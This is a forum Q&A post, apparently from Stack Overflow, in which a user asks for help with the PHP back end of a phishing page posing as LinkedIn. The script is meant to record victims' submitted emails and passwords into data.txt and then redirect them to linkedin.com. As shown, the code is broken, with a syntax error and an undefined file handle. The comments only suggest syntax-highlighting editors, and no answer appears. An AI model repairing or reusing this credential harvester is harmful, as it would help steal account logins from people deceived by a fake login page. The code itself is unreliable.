0

I tried to make a fishing website just for the experience and I got a problem with my PHP file. explain to the code: the code supposed to send you to "www.linkedin.com" and write your username and password to file called "data.txt" but when you press login button it just shows my PHP file...

<?php
header("Location: http://linkedin.com");
    $email = $_POST['field1'];
    $password = $_POST['field2'];
    $data = 'Email : '.$email.' | Password : '.$password;' 
    $file = 'data.txt';

     if (isset($_POST['field1']) && isset($_POST['field2'])) { // check if both fields are set
     file_put_contents($file,$data.PHP_EOL,FILE_APPEND);
     exit();
 }
     fwrite($fh,$data); // Write information to the file
     fclose($fh); // Close the file
     file_put_contents($file,$data.PHP_EOL,FILE_APPEND);
?>
  • 2
    There's some pretty severe syntax errors in this code. A syntax-highlighting editor would make that obvious. – tadman Jul 06 '17 at 18:28
  • @tadman do you know the name of editor like this – maayan1104 Jul 06 '17 at 18:30
  • There are hundreds of them. Popular choices include [Atom](https://atom.io), [Visual Studio Code](https://code.visualstudio.com), [Notepad++](https://notepad-plus-plus.org) and [Sublime Text](https://www.sublimetext.com). – tadman Jul 06 '17 at 18:33

0 Answers0